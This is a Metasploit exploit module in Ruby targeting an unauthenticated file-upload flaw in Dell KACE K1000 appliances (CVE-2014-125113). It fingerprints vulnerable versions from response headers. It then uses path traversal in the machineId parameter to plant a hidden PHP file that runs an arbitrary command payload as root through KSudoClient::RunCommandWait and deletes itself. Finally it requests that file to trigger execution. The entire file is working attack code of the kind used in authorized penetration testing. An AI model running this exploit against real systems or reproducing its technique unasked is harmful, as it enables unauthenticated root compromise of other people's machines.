##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dell KACE K1000 File Upload',
        'Description' => %q{
          This module exploits a file upload vulnerability in Kace K1000
          versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547
          which allows unauthenticated users to execute arbitrary commands
          under the context of the 'www' user.

          This module also abuses the 'KSudoClient::RunCommandWait' function
          to gain root privileges.

          This module has been tested successfully with Dell KACE K1000
          version 5.3.
        },
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Platform' => 'unix', # FreeBSD
        'Arch' => ARCH_CMD,
        'Author' => [
          'Bradley Austin (steponequit)', # Initial discovery and exploit
          'bcoles', # Metasploit
        ],
        'References' => [
          ['CVE', '2014-125113'],
          ['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html']
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00\x27",
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl'
                        }
        },
        'DefaultTarget' => 0,
        'Targets' => [
          ['Automatic Targeting', { 'auto' => true }]
        ],
        'DisclosureDate' => '2014-03-07',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php'))
    unless res
      vprint_error('Connection failed')
      return Exploit::CheckCode::Unknown('Connection to Dell KACE K1000 failed')
    end
    if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000'
      if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/
        vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}")
        if $1.to_i == 5 && $2.to_i <= 3                         # 5.0 to 5.3
          return Exploit::CheckCode::Vulnerable("Dell KACE K1000 version #{res.headers['X-DellKACE-Version']} is vulnerable")
        elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849  # 5.4 prior to 5.4.76849
          return Exploit::CheckCode::Vulnerable("Dell KACE K1000 version #{res.headers['X-DellKACE-Version']} is vulnerable")
        elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547  # 5.5 prior to 5.5.90547
          return Exploit::CheckCode::Vulnerable("Dell KACE K1000 version #{res.headers['X-DellKACE-Version']} is vulnerable")
        end

        return Exploit::CheckCode::Safe("Dell KACE K1000 version #{res.headers['X-DellKACE-Version']} is not vulnerable")
      end
      return Exploit::CheckCode::Detected('Dell KACE K1000 detected but version could not be parsed')
    end
    Exploit::CheckCode::Safe('Target does not appear to be Dell KACE K1000')
  end

  def exploit
    # upload payload
    fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php"
    payload_path = "/kbox/kboxwww/tmp/"
    post_data = "<?php require_once 'KSudoClient.class.php';KSudoClient::RunCommandWait('rm #{payload_path}#{fname};#{payload.encoded}');?>"
    print_status("Uploading #{fname} (#{post_data.length} bytes)")
    res = send_request_cgi(
      'uri' => normalize_uri('service', 'kbot_upload.php'),
      'method' => 'POST',
      'vars_get' => Hash[{
        'filename' => fname,
        'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}",
        'checksum' => 'SCRAMBLE',
        'mac' => rand_text_alphanumeric(rand(8) + 5),
        'kbotId' => rand_text_alphanumeric(rand(8) + 5),
        'version' => rand_text_alphanumeric(rand(8) + 5),
        'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5)
      }.to_a.shuffle],
      'data' => post_data
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code && res.code == 200
      print_good('Payload uploaded successfully')
    else
      fail_with(Failure::UnexpectedReply, 'Unable to upload payload')
    end

    # execute payload
    res = send_request_cgi('uri' => normalize_uri('tmp', fname))

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code && res.code == 200
      print_good('Payload executed successfully')
    elsif res.code && res.code == 404
      fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'")
    else
      fail_with(Failure::UnexpectedReply, 'Unable to execute payload')
    end
  end
end
